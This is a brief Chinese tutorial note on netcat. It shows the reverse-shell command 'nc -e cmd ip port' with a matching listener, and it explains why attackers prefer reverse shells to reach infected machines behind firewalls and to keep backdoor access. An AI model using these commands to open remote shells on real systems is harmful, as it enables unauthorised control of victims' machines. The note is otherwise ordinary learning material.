nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据。
本节课中使用nc命令完成了监听和反弹操作
首先使用服务器A(或主机)敲下以下命令 nc -e cmd ip地址 端口号 可以将cmd的权限移交给该ip地址的该端口号。
然后我们使用主机B敲下以下命令 nc - lvvp 端口号 命令进行监听该端口。当cmd权限移交完成,此时nc命令的监听功能便显现出来。
在主机B上敲下的cmd命令就相当控制服务器A敲下的cmd命令。这便是最典型的反弹操作。把服务器A的cmd权限反弹给主机B
但windows系统好像没有内置的nc(netcat),需要自行下载。
补充:
正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端(也就是反弹shell)
那为什么需要用到反弹shell呢?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
目标机器的ip动态改变,你不能持续控制。
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,
webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。
所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
(15条消息) 反弹shell汇总,看我一篇就够了_lainwith的博客-CSDN博客_反弹shell这是链接,可以看一下。